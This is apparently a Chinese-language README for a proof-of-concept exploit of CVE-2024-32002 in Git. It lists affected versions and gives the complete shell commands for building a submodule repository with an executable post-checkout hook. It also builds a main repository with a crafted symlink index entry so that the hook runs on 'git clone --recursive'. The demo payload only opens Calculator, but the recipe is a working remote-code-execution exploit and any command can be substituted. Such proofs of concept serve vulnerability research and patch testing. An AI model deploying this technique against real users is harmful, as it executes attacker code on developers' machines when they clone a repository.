一个简单的概念验证,执行计算器(仅限 macOS 示例)。使用 git clone --recursive 命令时,此仓库还会拉取 https://github.com/markuta/hooky,其中包含一个 post-checkout 脚本。主要基于修复提交 t7406-submodule-update.sh 文件。
注意:低于
2.45.1、2.44.1、2.43.4、2.42.2、2.41.1、2.40.2和2.39.4的版本均受影响。
git clone --recursive github.com/markuta/CVE-2024-32002
# 子模块仓库(载荷)
git init hooky
cd hooky
mkdir -p y/hooks
echo "open -a Calculator.app" > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m post-checkout
hook_repo_path="$(pwd)"
# 主仓库
git init captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m add-submodule
printf .git >dotgit.txt
git hash-object -w --stdin <dotgit.txt >dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info
git update-index --index-info <index.info
git commit -m add-symlink